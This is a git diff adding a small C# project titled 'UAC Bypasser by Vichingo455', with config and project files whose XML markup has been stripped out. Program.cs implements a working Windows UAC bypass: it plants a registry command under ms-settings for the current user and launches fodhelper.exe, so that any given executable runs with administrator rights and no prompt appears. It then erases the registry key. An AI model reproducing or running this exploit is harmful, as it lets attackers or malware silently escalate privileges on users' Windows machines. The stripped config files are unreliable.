diff --git a/Bypass-UAC/App.config b/Bypass-UAC/App.config new file mode 100644 index 0000000..deaa9e2 --- /dev/null +++ b/Bypass-UAC/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Bypass-UAC/Bypass-UAC.csproj b/Bypass-UAC/Bypass-UAC.csproj new file mode 100644 index 0000000..c60de64 --- /dev/null +++ b/Bypass-UAC/Bypass-UAC.csproj @@ -0,0 +1,80 @@ + + + + + Debug + AnyCPU + {9E093A9D-5A9C-4141-ACB3-4DB650D9B65F} + Exe + Bypass_UAC + Bypass-UAC + v4.6 + 512 + true + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + \ No newline at end of file diff --git a/Bypass-UAC/Program.cs b/Bypass-UAC/Program.cs new file mode 100644 index 0000000..62da83f --- /dev/null +++ b/Bypass-UAC/Program.cs @@ -0,0 +1,76 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Security.Principal; +using Microsoft.Win32; +using System.IO; +namespace Bypass_UAC +{ + internal static class Program + { + /// + /// Punto di ingresso principale dell'applicazione. + /// + [STAThread] + static void Main(string[] switches) + { + Console.Title = "UAC Bypasser by Vichingo455"; + if (!File.Exists(@"C:\Windows\System32\fodhelper.exe")) + { + Console.WriteLine("This program requires NT 10.0 (Windows 10) or higher! Operation aborted"); + Console.ReadKey(); + Environment.Exit(-1); + } + else + { + if (switches.Length == 1) + { + string arg = switches[0].Trim(); + if (File.Exists(arg)) + { + WindowsPrincipal pricipal = new WindowsPrincipal(WindowsIdentity.GetCurrent()); + bool hasAdministrativeRight = pricipal.IsInRole(WindowsBuiltInRole.Administrator); + if (!hasAdministrativeRight) + { + try + { + RegistryKey rk; + rk = Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Classes\ms-settings\shell\open\command"); + rk.SetValue("", arg, RegistryValueKind.String); + rk.SetValue("DelegateExecute", "", RegistryValueKind.String); + Process.Start(@"C:\Windows\System32\fodhelper.exe").WaitForExit(); + rk.Close(); + rk = Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Classes"); + rk.DeleteSubKeyTree("ms-settings"); + rk.Close(); + Environment.Exit(0); + } + catch (Exception ex) + { + Console.WriteLine("An exception occured: " + ex.Message); + Console.ReadKey(); + Environment.Exit(-1); + } + } + else + { + Process.Start(arg); + } + } + else + { + Console.WriteLine($"The file {arg} specified in the argument is not valid! Operation Aborted!"); + Console.ReadKey(); + Environment.Exit(-1); + } + } + else + { + Console.WriteLine(@"You need to specify the file path, for example C:\Windows\System32\cmd.exe. Operation Aborted!"); + Console.ReadKey(); + Environment.Exit(-1); + } + } + } + } +}